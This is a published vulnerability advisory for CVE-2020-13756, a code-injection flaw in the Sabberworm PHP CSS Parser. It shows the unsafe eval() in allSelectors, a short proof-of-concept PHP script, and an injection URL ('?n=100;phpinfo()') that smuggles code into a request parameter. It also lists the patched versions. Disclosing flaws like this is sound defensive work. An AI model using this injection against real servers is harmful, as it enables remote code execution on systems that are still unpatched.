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Sabberworm PHP CSS parser - Code injection


  • CVE-2020-13756

CVSSv3 score

8.6 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L


Sabberworm - https://github.com/sabberworm/PHP-CSS-Parser


A Parser for CSS Files written in PHP. Allows extraction of CSS files into a data structure, manipulation of said structure and output as (optimized) CSS.

Affected versions

  • All versions prior to the fixed versions listed below


Eldar Marcussen - justanotherhacker.com

Vulnerability summary

The Sabberworm PHP CSS Parser evaluates uncontrolled data which may result in remote code execution if the affected function is called with attacker controlled data.

Technical details

The function allSelectors in lib/Sabberworm/CSS/CSSList/CSSBlockList.php on line 64 interpolates untrusted data inside an eval() operation on line 73. https://github.com/sabberworm/PHP-CSS-Parser/blob/master/lib/Sabberworm/CSS/CSSList/CSSBlockList.php#L73

The function allSelectors is called via the function getSelectorsBySpecificity in lib/Sabberworm/CSS/CSSList/Document.php which is the class object returned from the parse() function in lib/Sabberworm/CSS/Parser.php. If an attacker is able to supply or influence the content of the data passed to the allSelectors or getSelectorsBySpecificity functions, the server will execute attacker controlled code.

protected function allSelectors(&$aResult, $sSpecificitySearch = null) {
    $aDeclarationBlocks = array();
    foreach ($aDeclarationBlocks as $oBlock) {
        foreach ($oBlock->getSelectors() as $oSelector) {
            if ($sSpecificitySearch === null) {
                $aResult[] = $oSelector;
            } else {
                $sComparison = "\$bRes = {$oSelector->getSpecificity()}
                if ($bRes) {
                    $aResult[] = $oSelector;

Proof of concept

The following evidence is provided to illustrate the existence and exploitation of this vulnerability:

Save the following code as csspwn.php

use Sabberworm\CSS\Parser;

$css="#test .help,\n#file,\n.help:hover,\nli.green,\nol li::before {\n
   font-family: Helvetica;\n}";

$oCssParser = new Sabberworm\CSS\Parser($css);
$oDoc = $oCssParser->parse();
$oDoc->getSelectorsBySpecificity('> '.$_GET['n']);

Serve the page via php -S 0:8888 then open the following URL: http://localhost:8888/csspwn.php?n=100;phpinfo()


Upgrade to one of the following versions:

  • 1.0.1
  • 2.0.1
  • 3.0.1
  • 4.0.1
  • 5.0.9
  • 5.1.3
  • 5.2.1
  • 6.0.2
  • 7.0.4
  • 8.0.1
  • 8.1.1
  • 8.2.1
  • 8.3.1


Date Status
01-JUN-2020 Reported to vendor
01-JUN-2020 Patch available
02-JUN-2020 Public disclosure


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